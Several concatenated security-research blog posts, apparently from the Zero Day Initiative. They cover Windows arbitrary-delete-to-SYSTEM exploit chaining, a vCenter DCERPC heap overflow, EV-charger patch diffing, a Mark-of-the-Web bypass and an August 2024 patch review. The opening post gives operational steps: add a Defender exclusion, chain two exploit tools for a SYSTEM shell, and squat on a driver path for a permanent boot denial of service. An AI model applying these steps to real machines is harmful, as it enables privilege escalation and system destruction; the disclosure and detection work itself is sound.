For working exploit code, see project FolderContentsDeleteToFolderDelete. Note that the built-in malware detection in Windows will flag this process and shut it down. I recommend adding a “Process” exclusion for FolderContentsDeleteToFolderDelete.exe.

You can chain these two exploits together. To begin, run FolderOrFileDeleteToSystem and wait for it to prompt you to trigger privileged deletion of Config.Msi. Then, run FolderContentsDeleteToFolderDelete /target C:\Config.Msi. It will prompt you to trigger privileged deletion of the contents of C:\test1. If necessary for your exploit primitive, you can customize this location using the /initial command-line switch. For testing purposes, you can simulate the privileged folder contents deletion primitive by running del /q C:\test1\* from an elevated command prompt. FolderContentsDeleteToFolderDelete will turn this into a delete of C:\Config.Msi, and this will enable FolderOrFileDeleteToSystem to drop the HID.DLL. Finally, open the On-Screen Keyboard and hit Ctrl-Alt-Delete for your SYSTEM shell.

From Arbitrary Folder Create to Permanent DoS

Before closing, we’d like to share one more technique we learned from this same researcher. Suppose you have an exploit primitive for creating an arbitrary folder as SYSTEM or admin. Unless the folder is created with a weak DACL, it doesn’t sound like this would be something that could have any security impact at all. Surprisingly, though, it does: it can be used for a powerful denial of service. The trick is to create a folder such as this one:

      C:\Windows\System32\cng.sys

Normally there is no file or folder by that name. If an attacker name squats on that filesystem location with an extraneous file or even an empty folder, the Windows boot process is disrupted. The exact mechanism is a bit of a mystery. It would appear that Windows attempts to load the cng.sys kernel module from the improper location and fails, and there is no retry logic that allows it to continue and locate the proper driver. The result is a complete inability to boot the system. Other drivers can be used as well for the same effect.

Depending on the vulnerability at hand, this DoS exploit could even be a remote DoS, as nothing is required besides the ability to drop a single folder or file.

Conclusion

The techniques we’ve presented here show how some rather weak exploit primitives can be used for great effect. We have learned that:

• An arbitrary folder delete/move/rename (even of an empty folder), as SYSTEM or admin, can be used to escalate to SYSTEM.
• An arbitrary file delete, as SYSTEM or admin, can usually be used to escalate to SYSTEM.
• A delete of contents of an arbitrary folder, as SYSTEM or admin, can be used to escalate to SYSTEM.
• A recursive delete, as SYSTEM or admin, of contents of a fixed but attacker-writable folder (such as a temp folder), can be used to escalate to SYSTEM.
• An arbitrary folder create, as SYSTEM or admin, can be used for a permanent system denial-of-service.
• An arbitrary file delete or overwrite, as SYSTEM or admin, even if there is no control of contents, can be used for a permanent system denial-of-service.

We would like to thank researcher Abdelhamid Naceri for his great work in developing these exploit techniques, as well as for the vulnerabilities he has been reporting to our program. We look forward to seeing more from him in the future. Until then, you can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches.

In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Grigory Dorodnov and Guy Lederfein of the Trend Micro Research Team detail a recently patched code execution vulnerability in the VMware vCenter Server. This bug was originally discovered by Hao Zheng and Zibo Li from TianGong Team of Legendsec at Qi'anxin Group. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service. The following is a portion of their write-up covering CVE-2024-37079, with a few minimal modifications.

An integer underflow vulnerability has been reported for VMware vCenter Server. The vulnerability is due to a lack of validation of the calculated response header size used in subtraction.

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted DCERPC packet to the target server. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service.

The Vulnerability

VMware vCenter Server is a data center management server application developed by VMware Inc. VMware vCenter Server is designed primarily for vSphere, VMware's platform for building virtualized cloud infrastructures. vCenter Server relies on VMware's fork of the Likewise Open project to support DCERPC or, more specifically, MSRPC protocol needed for interaction with Microsoft services and products like, for example, Active Directory. Specifically, vCenter uses the `libdcerpc.so` library from Likewise Open in VMware Certificate Management Service (vmcad), VMware Directory Service (vmdird) and VMware Authentication Framework (vmafdd), accessible from the external network on TCP ports 2014, 2012, and 2020 respectively.

DCERPC

DCERPC (Distributed Computing Environment/Remote Procedure Call) with Microsoft extensions (MSRPC) is used to transparently execute functions on remote servers. To facilitate this process, interfaces are defined using an interface definition language (IDL). IDL code is shared between the server and the client and defines the data structures used for network communications. Each interface is identified by a UUID and contains abstract data types and function declarations. To call a function on a remote server via DCERPC, the client establishes a context by sending a Bind request (RPC_C_CN_PKT_BIND, 0x0b) containing the interface UUID of the interface to which the function belongs. Once the context is established, the client sends the desired RPC calls, or modifies the context by sending an Alter Context (RPC_C_CN_PKT_ALTER_CONTEXT, 0x0e) request. Other RPC request and response types of interest to this report are:

— Bind Acknowledgement (RPC_C_CN_PKT_BIND_ACK, 0x0c) - an acknowledgment of successful completion of the Bind request
— Bind Negative Acknowledgement (RPC_C_CN_PKT_BIND_NAK, 0x0d) - a notification of rejection of the Bind request
— Alter Context Response (RPC_C_CN_PKT_ALTER_CONTEXT_RESP, 0x0f) - a response to the Alter Context request

A DCERPC message common header has the following structure:

The four most significant bits of the Data Representation field (i.e., ones obtained by ANDing with the big-endian 0xF0000000) contain information about byte order. If these bits are all zero, then the DCERPC message is big-endian encoded; otherwise, it is little-endian encoded.

Of importance to this report is the lastfrag flag (0x02) in the Packet Flags field. If set, the given fragment is the last one of a multi-fragment transmission.

DCERPC Request Packets

In the request packets, the common header is followed by the packet type-specific fields. For Bind and Alter Context the Type Specific Data field will be set to the following structure:

Of importance to this report is the Presentation Context List, which has the following structure:

where each Presentation Context Element is defined as:

and syntax as:

DCERPC packets may include an optional authentication trailer (also known as an authentication verifier) that contains authentication and/or authorization data. The trailer is present if and only if the auth_len header field is non-zero and set to the length of the trailer in bytes. The common authentication trailer has the following format:

Note, that auth_len in the common header only indicates the length of the auth_value, not the entire trailer, which has 8 additional bytes for static fields.

libdcerpc.so supports the following authentication types with their corresponding IDs:

— GSS-API with SPNEGO mechanism (0x09)
— NTLMSSP (0x0a)
— GSS-API with Kerberos mechanism (0x10)
— Netlogon secure channel (0x44)

This report relies on the first mechanism (0x09) in the following explanation and vulnerability demonstration. Note, that the selected type is not part of the vulnerability itself and is only used to demonstrate its impact.

GSS-API, SPNEGO, and SRP

When the auth_type field of the authentication trailer is set to GSS-API with SPNEGO mechanism (0x09), the auth_value field holds the ASN.1 encoded GSS-API data payload with the following structure:

When the mech field has a value of Object Identifier (OID) “1.3.6.1.5.5.2”, the GSS-API data represents a Simple and Protected GSS-API Negotiation (SPNEGO) message., which allows the client to negotiate the specific authentication mechanism with the server. mechTypes holds a list of OIDs of the authentication mechanisms supported by the client (e.g., Kerberos, NTLM, etc), and mechToken is the initial token for the first mechanism in the list.

One of the mechanisms that can be negotiated with vCenter's services is Secure Remote Password (SRP). The use of this mechanism with GSS-API is not well defined, but references to it can be found in VMware's Project Lightwave. A “made up” (i.e., not officially registered) OID “1.2.840.113554.1.2.10” is used for this mechanism, and the mechToken for it has the following pseudo-ASN.1 definition, reconstructed from the Lightwave source code:

where mechType is set to OID “1.2.840.113554.1.2.10”, ver_maj and ver_min are set to 1 and 0 respectively, userName is a valid User Principal Name (UPN), for example, "[email protected]", and publicValue is a large client's public value (referred to as A in RFC 2945).

The SPNEGO SRP response token can be defined as follows:

Here, publicValue is a large server's public value (referred to as B in RFC 2945).

DCERPC Response Packets

DCERPC response packets (i.e. those sent from the server back to the client) have a structure similar to the request packets. They start with the common header followed by packet-type specific data fields. The response packet types corresponding to the Bind and Alter Context request packets are Bind Acknowledgement, Bind Negative Acknowledgement, and Alter Context Response. Of these three, this report is only concerned with Bind Acknowledgement and Alter Context Response: Bind Negative Acknowledgement is only generated in case of an error, which should be avoided.

Both Bind Acknowledgement and Alter Context Response have the same structure:

The fields of importance here are Secondary Address, Presentation Result List, and Authentication Trailer. Secondary Address, in this case, is the target service's port, for example, "2012" for vmdird, including the null-terminator and prefixed by a 2-byte length integer. Presentation Result List, for each element in the request's Presentation Context List, contains a 24-byte result, plus 4 bytes for static fields. The authentication trailer's structure is the same as in the request. Note, that for the SPNEGO SRP mechanism described above the trailer contains a large authentication value.

Further Details on the Vulnerability

An integer underflow vulnerability has been reported for VMware vCenter Server. The vulnerability is due to a lack of validation of the calculated response header size used in subtraction.

Two types of request packets lead to this vulnerability being triggered: Bind Acknowledgement and Alter Context Response. As opposed to other packets (and, consequently, fragment buffers) there is no size restriction on these packets: while all other types can have up to 4096 bytes of data (which makes the fragment buffer go up to 4158 bytes), these packets have no such limit. This behavior can be observed in the receive_packet() function.

libdcerpc.so's operation is based on protocol state machines. When a packet is received, for the state machine corresponding to the given client, and event is generated. That event indicates what action has to be taken next to proceed with the protocol flow. Depending on the event, the received packet is passed to one of the handlers. In normal operation, for Bind packets, the handler is do_assoc_action_rtn(), and for Alter Context - incr_do_alter_action_rtn(). Both functions, eventually, call the actual packet processors responsible for the construction of the response: do_assoc_req_action_rtn() and do_alter_cont_req_action_rtn(), respectively. For the former to be reached, there is a restriction: either the lastfrag flag must be set or the minor RPC version must be 0.

From this point, we will focus on the do_assoc_req_action_rtn(); do_alter_cont_req_action_rtn() has an almost identical flow with some minor changes.

This gives us a restriction on the number of the Presentation Context List elements. If set to maximum, 169, the returned size of the Presentation Result List is 4060 bytes, which, together with the prior contents of the response buffer, takes 4092 bytes.

Assuming no error was returned, the vulnerable rpc__cn_assoc_process_auth_tlr() function, responsible for processing the request's authentication trailer and filling in one for the response, is called next, with its header_size parameter set to 4092, and auth_len parameter set to 4096 - 4092 = 4.

To reach the vulnerable part of the function, the following conditions must be met.

First, the request's auth_len must not be zero and the authentication trailer must not span beyond the beginning or the end of the packet.

Second, RPC_CN_AUTH_CVT_ID_WIRE_TO_API() must not return an error. This function converts the authentication type taken from the packet into the internal representation; so, using a valid type, for example, 0x9 for SPNEGO, is sufficient to pass this check.

Next, RPC_CN_AUTH_INQ_SUPPORTED() must return a positive result for the selected protocol. This function ensures the selected authentication type is supported by the runtime. Again, SPNEGO is allowed.

After that, a call to the RPC_CN_AUTH_VFY_CLIENT_REQ() function, responsible for verifying the request's authentication trailer, is made. This function is dynamic: the actual function being called depends on the selected authentication type. For SPNEGO, for example, it is rpc__gssauth_cn_vfy_client_req(). While this function does verify the authentication trailer, the credentials do not have to be valid, since an authentication rejection would also have to be placed in the response. Furthermore, for some protocols, for example, SPNEGO, multiple exchanges are necessary before completing credentials verification.

Finally, the response authentication trailer is being filled in. To do so, 8 bytes (trailer without auth_value) are added to the header_size, setting it to 4092 + 8 = 4100 and leaving no place for the auth_value. When the remaining space is calculated, however, an unsigned subtraction of 4100 from the maximum response size (4096) is performed, resulting in a large positive value 0xfffffffc, which is later passed into the RPC_CN_AUTH_FMT_SRVR_RESP() function. Same as RPC_CN_AUTH_VFY_CLIENT_REQ(), this function is dynamic, and the actual function being called depends on the selected authentication type.

Note, that the number of the Presentation Context List elements leading to a heap overflow is strictly 169: the upper bound has already been established above, and the lower bound can be determined from the fact that the resulting header_size is underflowing the maximum response packet size by only 4 bytes. Reducing the number of Presentation Context List elements even by one would cause the Presentation Result List to be 24 bytes less in length and, consequently, the header_size being 24 less, thus not leading to an underflow.

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted DCERPC packet to the target server. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service.

What follows is an explanation of how this vulnerability leads to a heap overflow, using the SPNEGO SRP authentication protocol as an example.

For SPNEGO, the RPC_CN_AUTH_VFY_CLIENT_REQ() function call results in control being passed to the rpc__gssauth_cn_vfy_client_req() function. This function, in its turn, calls the gss_accept_sec_context() library function which returns an output_token containing a response auth_value. If any error occurs, the length of the output_token is set zero. This token is then saved into the krb_message field in the security context associated with the client.

While for other protocols the token may be small, for SPNEGO SRP it contains, as described above, a large server's public value.

When, eventually, the RPC_CN_AUTH_FMT_SRVR_RESP() function is called, control is passed to the rpc__gssauth_cn_fmt_srvr_resp() function with auth_value_len pointing at a large positive value 0xfffffffc, and auth_value pointing at the end of the response buffer. This function is responsible for copying the contents of the krb_message field to the auth_value, but only if there is enough space. To ensure this, the function first compares the length of the krb_message to the value at auth_value_len. Given that auth_value_len points to a value resulting from an integer underflow, and the comparison is unsigned, this check always passes. Next, the krb_message's contents are copied to auth_value, which, again, does not have any free space left. For SPNEGO SRP, which has a large response token in krb_message, this leads to heap buffer overflow and heap corruption.

Generic Attack Detection

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic over ports 2012/TCP, 2014/TCP, and 2020/TCP (DCE/RPC).

The detection device must monitor DCE/RPC traffic looking for the messages with Packet type set to Bind (RPC_C_CN_PKT_BIND, 0x0b) or Alter Context (RPC_C_CN_PKT_ALTER_CONTEXT, 0x0e). If found, the detection device should check the auth_len field to be greater than zero. If so, the Number of Context Elements (n_context_elem) byte must be inspected. If it is greater than or equal to 169, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Conclusion

This vulnerability was patched by the vendor in June. At the time of the patch release, there was a fair amount of attention paid to this vulnerability. However, to date, there have been no attacks detected in the wild. As seen above, exploitation will not be straightforward. Still, this is a critical vulnerability and should be addressed by applying the vendor-supplied patch. If you are not able to apply the update, you can also filter malicious traffic using the information provided in the section entitled Attack Detection.

Special thanks to Grigory Dorodnov and Guy Lederfein of the Trend Micro Research Team for providing such a thorough analysis of this vulnerability. For an overview of Trend Micro Research services please visit http://go.trendmicro.com/tis/.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

This blog highlights two vulnerabilities that were disclosed by researchers from Synacktiv in the Autel Maxicharger firmware at the Pwn2Own Automotive 2024 event and how Autel responded to and patched these in their latest firmware release.

At the Pwn2Own event,  the Synacktiv researchers demonstrated two unique remote attacks on the Autel Maxicharger running firmware v1.32 that demonstrated RCE.  Autel was later informed of these issues and they responded with firmware update v1.35 before ZDI publicly disclosed the research to the public. The first vulnerability we discuss in this blog was addressed in ZDI-24-851, while the second is covered by ZDI-24-852. In this blog, we describe the reverse engineering process used to find the vulnerabilities in the original firmware and how ZDI observed the corrected code in the new firmware.

 The first vulnerability disclosed was an issue with a Bluetooth function that handles charging control. The researchers were able to send malicious code within a Bluetooth Low Energy (BLE) message and insert it into the target’s memory to take control of this code. This is because the v1.32 firmware did not limit the client message length it stores in memory. The researchers could add the malicious code in their message to the Autel charger, overflow the receive buffer that was allocated, and ultimately take control of the device. We extracted both the v1.32 and v1.35 firmware versions from the Autel charger and reversed both binaries using Ghidra. Utilizing Ghidra’s versioning feature, a comparison of the two firmware versions was done using the AppChargingControl function. As shown in the screenshot below, the left panel (v1.32) simply copies a client message of any length directly to memory. On the right panel (v1.35), a length check was added by Autel to limit the client message length to the length of the memory buffer ( 0x3D bytes).

Figure 1 - A comparison of the v1.32 and v1.35 firmware versions

This added condition on the client length should now prevent buffer overflow by a remote attacker when this function is called.

The second issue reported by researchers was located in a similar reversing process using Ghidra. Both firmware versions were extracted and then compared side by side in Ghidra’s versioning tool to observe the vulnerability and its associated patch. The vulnerability consists of a function that authenticates Wi-Fi credentials but contains a back door with hard-coded credentials. The screenshot below again shows v1.32 code in the left panel and v1.35 code in the right panel. The highlighted code shows the back door that was removed between the two code versions.

Figure 2 - Comparing v1.32 to v1.35 to show the removal of the back door

In this patch, the back door was completely removed in v1.35. In theory, this should now require unique WiFi credentials to gain access.

Conclusion

It is good to see these bugs patched by the vendor as they were particularly easy to exploit without mitigations in the system. EV chargers are being rapidly deployed in homes around the world and represent safety risks when not secured. We are looking forward to Automotive Pwn2Own again in January 2025 and will see if EV charger vendors have improved their product security. Look out for our upcoming rules, targets, and contest announcements soon, and we hope to see you there.

Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

Zero Day Initiative threat researchers discovered CVE-2024-38213, a simple and effective way to bypass Windows mark-of-the-web protections leading to remote code execution.

In March 2024, Trend Micro’s Zero Day Initiative Threat Hunting team started analyzing samples connected to the activity carried out by DarkGate operators to infect users through copy-and-paste operations. This DarkGate campaign was an update from a previous campaign  in which the DarkGate operators were exploiting a zero-day vulnerability, CVE-2024-21412, which we disclosed to Microsoft earlier this year.

The investigation into this campaign directly influenced further vulnerability research into Windows Defender SmartScreen and how files originating from WebDAV shares are handled during copy-and-paste operations. As a result, we discovered and reported CVE-2024-38213 to Microsoft, which they patched in June. This exploit, which we've named copy2pwn, results in a file from a WebDAV share being copied locally without Mark-of-the-Web protections.

Web-based Distributed Authoring and Versioning (WebDAV) is an extension to the Hypertext Transfer Protocol (HTTP). It provides added functionality to HTTP, including features such as authoring, sharing, and versioning.

Since WebDAV is based on HTTP, WebDAV shares can be accessed through a web browser using the HTTP protocol, for example, at http://10.37.129.2/example_webdav_folder/somefile. When a file is downloaded from a WebDAV share using a browser such as Microsoft Edge or Google Chrome, it is treated the same as any other file downloaded from the web. As expected, the local copy of the file is marked with the Mark-of-the-Web.

On Windows, users can also access and mount WebDAV shares via UNC paths, such as \\10.37.129.2@80\example_webdav_folder. A user can browse to a path of this form using Windows Explorer. This functions in a similar manner to accessing SMB shares through Windows. When accessing files in this manner, they are handled directly by the Windows operating system and not by the browser.

Recently, we’ve seen an increase in threat actors hosting payloads on WebDAV shares. This activity has led to the discovery of numerous vulnerabilities abused as zero-days clustered around accessing malicious payloads from WebDAV shares. These include vulnerabilities such as CVE-2023-36025 and, more recently, CVE-2024-21412, with an additional fix from Microsoft in the form of CVE-2024-29988. These vulnerabilities center around Mark-of-the-Web bypasses and evading built-in Microsoft protections such as Windows Defender SmartScreen.

As mentioned, WebDAV shares accessed through Windows Explorer are handled by the Windows operating system as opposed to a browser.  Many threat actors are aware of the implications of this with regard to Mark-of-the-Web. During our threat-hunting investigations, we uncovered many threat actors deploying an easy method utilizing the Windows search protocol to open WebDAV searches through Windows Explorer.

Figure 1 – Search query logic that opens a WebDAV share through Windows Explorer

When accessed with a web browser, this prompts the user to open the WebDAV share in Windows Explorer.

Figure 2 – Microsoft Edge prompts users to open the WebDAV share in Windows Explorer

Using the logic from Figure 1, threat actors can exercise a high degree of control over what the end user sees on the WebDAV share. This is done by crafting a specific Windows search query that only displays those files the threat actor wants the user to see. Furthermore, by utilizing certain file types such as Internet Shortcut (.url) or Shortcut (.lnk), the threat actor may change the file icon to make it appear as if the malicious file is a completely different type. This lures the user into inadvertently executing scripts or binaries.

Figure 3 – The Windows Explorer window is crafted to only display poc.lnk.zip

Under normal circumstances, files served over WebDAV would receive the Mark-of-the-Web and Windows Defender SmartScreen protections. However, there are a cluster of vulnerabilities mentioned above, and possibly more, that can be used for evasion.

When a user downloads a file from an untrusted source such as the web, Windows adds the Mark-of-the-Web to the local copy of the file. The Mark-of-the-Web consists of an NTFS Alternate Data Stream (ADS) with the name Zone.Identifier. Within this stream is the text ZoneId=3, indicating that the file originated from an untrusted source.

Figure 4 – ZoneId=3 is applied to files that originate from an untrusted source

The presence of the Mark-of-the-Web triggers additional security checks and prompts when opening the file. This helps reduce the risk of executing untrusted content.

Figure 5 – A security prompt shown due to the presence of the Mark-of-the-Web

The Mark-of-the-Web is also needed for the functioning of other key protection mechanisms:

·      Windows Defender SmartScreen, which examines files based on reputation and signature
·      Microsoft Office Protected View, which protects users from threats such as malicious macros and Dynamic Data Exchange (DDE) attacks.

Figure 6 – A Windows Defender SmartScreen prompt

Unfortunately, threat actors have discovered that Windows does not always handle or properly apply the Mark-of-the-Web to files served over WebDAV. Historically, Windows has treated WebDAV shares more akin to SMB shares, as opposed to HTTP web servers. This can be quite dangerous.

Before the release of the Microsoft June security patch, files copied and pasted from WebDAV shares did not receive the Mark-of-the-Web designations. This meant that users might copy and paste files from a WebDAV share to their desktop, and those files could subsequently be opened without the protections of Windows Defender SmartScreen or Microsoft Office Protected View. In particular, this means that there would be no reputation or signature checks on executables.

Copy and paste operations are ubiquitous so Windows users need to ensure that they are fully protected from clipboard hijacking, pastejacking , and copy2pwn attacks, especially in light of recent threat actor activity leveraging WebDAV shares for payload deployment.

The Zero Day Initiative Threat Hunting Team constantly monitors for new and emerging zero-day threats. During our analysis of existing and previous threat actors and APT activities, we often discover new tactics, techniques, procedures, and hidden zero-day vulnerabilities.

This case emphasizes the integration of ZDI threat hunting with proactive vulnerability research within the ZDI program. By combining threat research with the Zero Day Initiative's core vulnerability research program, the ZDI Threat Hunting Team can develop new adversarial models and simulate new attack strategies as they might occur in the real world. This integration enables us to protect and defend customers from potentially hidden attack methods and chains before threat actors can incorporate them into their attack strategies.

We’ll be back with more findings as we have them. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

I have successfully survived Summer Hacker Camp, and I hope you have too. And we return just in time for Patch Tuesday and a new crop of 0-days as Microsoft and Adobe have released their regularly scheduled updates. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for August 2024

For August, Adobe released 11 security bulletins addressing 71 CVEs in Adobe Illustrator. Dimension, Photoshop, InDesign, Acrobat and Reader, Bridge, Substance 3D Stager, Commerce, InCopy. Substance 3D Sampler, and Substance 3D Designer. A total of 14 of these bugs came through the ZDI program. The largest of these updates is for Adobe Commerce, which includes several fixes for Critical-rated bode execution bugs. The patch for InDesign also corrects many code execution bugs. However, I’m probably most concerned about the update for Acrobat and Reader, as maliciously crafted PDFs are often used in ransomware.

The fixes for Photoshop, Substance 3D Stager, InCopy, and Substance 3D Designer each address a single Critical-rated CVE that could lead to code execution. The patch for Illustrator corrects seven bugs, but most of these are rated Important. The Dimension patch has three Critical and three Important bugs. ZDI’s Mat Powell reported the three bugs fixed in Adobe Bridge. The final Adobe patch for August is for Substance 3D Sampler and fixes four bugs.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for August 2024

This month, Microsoft released 90 new CVEs in Windows and Windows Components; Office and Office Components; .NET and Visual Studio; Azure; Co-Pilot; Microsoft Dynamics; Teams; and (of course) Secure Boot. With the third-party bugs also listed, it brings the total CVE count to 102. Four of these bugs came through the ZDI program, including one of the bugs listed as under active exploit.

Of the patches being released today, seven are rated Critical, 79 are rated Important, and one is rated Moderate in severity. While this isn’t the biggest release, it is unusual to see so many bugs listed as public or under active attack in a single release.

Four of these CVEs are listed as publicly known, and six others are listed as under active attack. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-38178 - Scripting Engine Memory Corruption Vulnerability
This vulnerability is somewhat unusual as it requires the target to be using Edge in Internet Explorer mode. It seems the long arm of IE again reaches out from beyond the vale to cause problems. Once Edge is in IE mode, it just takes a user to click a link to get code execution. This patch also comes with a fix for Windows 11 v24H2, which isn’t generally available. However, Copilot+ devices ship with this Windows version, thus the update here.

CVE-2024-38193 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
This privilege escalation bug allows attackers to run code as SYSTEM. These types of bugs are typically paired with a code execution bug to take over a target. Microsoft doesn’t provide any indication of how broadly this is being exploited, but considering the source, if it’s not in ransomware already, it likely will be soon.

CVE-2024-38106 - Windows Kernel Elevation of Privilege Vulnerability
This is another privilege escalation bug under active attack that leads to SYSTEM privileges. Microsoft lists exploit complexity as high due to the attacker needing to win a race condition. However, some races are easier to run than others. It’s times like this where the CVSS can be misleading. Race conditions do lead to complexity high in the CVSS score, but with attacks in the wild, it’s clear this bug is readily exploitable.

CVE-2024-38107 - Windows Power Dependency Coordinator Elevation of Privilege Vulnerability
Here’s yet another privilege escalation bug that leads to SYSTEM being exploited in the wild. If you’re not familiar with the Power Dependency Coordinator (PDC), it’s a component of Modern Standby. Essentially, its purpose was to allow devices to “instantly” wake from sleep. It was introduced in Windows 8. It also shows how adding capabilities can often add attack surface, too.

CVE-2024-38189 - Microsoft Project Remote Code Execution Vulnerability
It’s definitely odd to see a code execution bug in Project, but not only do we have one here, it’s being exploited in the wild. For the most part, this is your typical open-and-own bug, but in this case, the target allows macros to run from the internet. The target also needs to disable the VBA Macro Notification Settings. If you do this, please don’t. Here’s some guidance on how to block macros from running in Office products. And if you’re opening random Project files from dicey resources, please go re-take your phishing training.

Here’s the full list of CVEs released by Microsoft for August 2024:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

You may have noticed I didn’t talk about the sixth bug under active attack. That’s because the ZDI researcher who found it, Peter Girnus, has a full blog on it coming out this Thursday. Stay tuned for all the details.

Moving on to the other code execution bugs, we’re greeted with three different CVSS 9.8 bugs right off the top. The worst is likely the bug in TCP/IP that would allow a remote, unauthenticated attacker to get elevated code execution just by sending specially crafted IPv6 packets to an affected target. That means it’s wormable. You can disable IPv6 to prevent this exploit, but IPv6 is enabled by default on just about everything. It’s a similar attack scenario for the Reliable Multicast Transport Driver (RMCAST), but in this case, you need a service listening as a receiver on PGM to be vulnerable. That’s a bit less likely. The Line Printer Daemon (LPD) has a bug with a similar consequence, but LPD isn’t installed by default (and shouldn’t be reachable from the Internet). That’s why it’s listed as Important rather than Critical despite its CVSS 9.8 rating. However, if you are running LPD, definitely treat this as a Critical update.

Looking at the other code execution bugs, thankfully most are more mundane. Office features heavily with typical open-and-own bugs. One that does stand out is the patch for Outlook. The Preview Pane is an attack vector; however, the attacker needs access to the target Outlook account for exploitation. Two bugs in the Network Virtualization component could cause some grief. Microsoft states, “By manipulating the content of the Memory Descriptor List (MDL), the attacker could cause unauthorized memory writes or even free a valid block currently in use, leading to a critical guest-to-host escape.” If you’re using virtualization, definitely test and deploy that one quickly. The bug in the Mobile Broadband Driver requires physical access. There are also a lot of RCE bugs in routing protocols, but many of these are older protocols where exploitation would be highly unlikely. I would also pay attention to the SmartScreen bug, as that has proven to be a popular target for exploitation. Finally, the bug in Azure CycleCloud could allow an authenticated attacker to acquire the storage account credentials and runtime data. These could then be used to create a malicious script to get remote code execution on any cluster in the CycleCloud instance.

There are 36 fixes for Elevation of Privilege (EoP) bugs in this release including those already. Mentioned. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. There are also a couple of cloud-based bugs, like the one in Azure Health Bot, that require no action and are just being documented publicly. One of the kernel-mode driver bugs could be used for a sandbox escape. The bug in the Azure Stack Hub would involve some social engineering as the attacker would need to send a malicious JSON file to a target, but NOT have the target open and review it. Seems unlikely.

The big news for privilege escalation bugs comes from Black Hat and DEFCON as a researcher presented how to downgrade certain files in the OS to a vulnerable state and then exploit them. We’ve seen downgrade attacks in other products, but it’s certainly interesting research to find one in the Secure Kernel Mode component. The researcher also demonstrated a downgrade attack in the Update Stack as well. While the research is public, there are currently no known exploits targeting these vulnerabilities.

Speaking of bugs disclosed during Hacker Summer Camp, one of the five Spoofing fixes was actually documented back on August 8. It’s listed as Office Spoofing, but it results in NTLM relaying. There’s still no official fix for this, but Microsoft states people are not affected, “on all in-support versions of Microsoft Office and Microsoft 365,” due to a change in Feature Flighting. I would still test and update quickly once a patch is available. The bug in Azure Stack Hub is a simple cross-site scripting (XSS) bug. The bug in Teams for iOS allows attacks to appear as someone else within Teams. You’ll need to download an updated client to resolve this one. The App Installer bug could trick users into installing software they didn’t intend to install. There are no real details provided for the spoofing bug in DNS, but these usually result in the DNS server providing false results to queries.

There are only nine information disclosure bugs receiving fixes this month and most only result in info leaks consisting of unspecified memory contents. There are a few exceptions. The bug in RRAS could disclose the ever-ethereal “sensitive information”. The bug in Copilot could also disclose sensitive info, but this has already been corrected and is only being documented. The bug in .NET and Visual Studio could disclose targeted emails, but the attack scenario isn’t clear. The bug in Edge (Chromium-based) is more interesting. An attacker could expose Edge WebUI permissions. This would allow them to access target data from microphones and cameras.

The August release includes fixes for a handful of Denial-of-Service (DoS) bugs. However, Microsoft again provides no additional information about these vulnerabilities.

There’s also one bug in the ill-defined “Tampering” category. It requires a user to open a specially crafted file, yet it also lists the attack vector as Network. Maybe the file needs to be on a shared drive? Microsoft also does not provide the result of the tampering. It’s possible that compressed files could be crafted to evade detection from EDR/XDR. We’ve seen similar tactics used by ransomware in the past, however, without further details from Microsoft, this is all just speculation.

Finally, the August release is rounded out by two XSS in Microsoft Dynamics (on-premises).

There are no new advisories in this month’s release, but there was an update to the servicing stack.

Looking Ahead

The next Patch Tuesday of 2024 will be on September 10, and I’ll return with details and pumpkin-spiced patch analysis then. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

This year at Black Hat USA, Trend Micro’s Zero Day Initiative (ZDI) will award our inaugural Vanguard Awards recognizing some of the best researchers and vendors we have dealt with over the last year. We plan on these being annual awards, with the categories changing to keep with the latest changes in the threat landscape – or if there’s someone or something we really want to highlight. Our goal is simply to highlight the good work in the community that may go unnoticed. We also want to stay positive with these awards. While it certainly may be fun to point out errors that occur, we think it’s more important to highlight the good work being done that would otherwise go unnoticed.

For the Researcher Awards, there are five categories for 2024:

1.         Best use of the RF enclosure - Synacktiv

During Pwn2Own competitions, we sometimes need to use an RF enclosure (Faraday cage) to ensure the exploit demonstrated doesn’t impact real-world systems. This award goes to the individual (or team) who had the best use of the enclosure in this year’s events.

The team from Synacktiv showed their over-the-air prowess on two separate occasions. The first was during Pwn2Own Toronto, where they were able to execute a heap-based buffer overflow in the kernel triggered via Wi-Fi leading to remote code execution against the Wyze Cam v3. Then, at Pwn2Own Automotive, they used a three-bug chain to exploit the Tesla Modem.

2.         Most Prolific Researcher - 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044

This award is given to the researcher who contracted the most cases in the last year. This means their submissions were actually purchased by the ZDI. This award reflects the hard work and dedication researchers put in throughout the year to help protect Trend Micro customers and others. The bugs they submit get patched rather than re-sold and exploited.

This year, we recognize the work of 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044. Of course, that’s not their real name. They wish to remain anonymous, and we respect that. Still, their continued work has resulted in almost 100 CVEs since 2023 in ICS and enterprise applications. We are happy to continue to work with this researcher and anticipate more great research from them in the future.

3.         Most Likely to Keep Incident Responders Awake - Mark Yason

